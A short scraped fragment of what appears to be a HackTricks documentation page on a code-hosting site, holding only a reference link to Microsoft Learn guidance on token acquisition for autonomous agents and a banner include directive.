- [Microsoft Learn - Authenticate and acquire tokens for autonomous agents](https://learn.microsoft.com/en-us/entra/agent-id/autonomous-agent-authentication-authorization-flow)
|
||||
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
Reference in New Issue
Block a user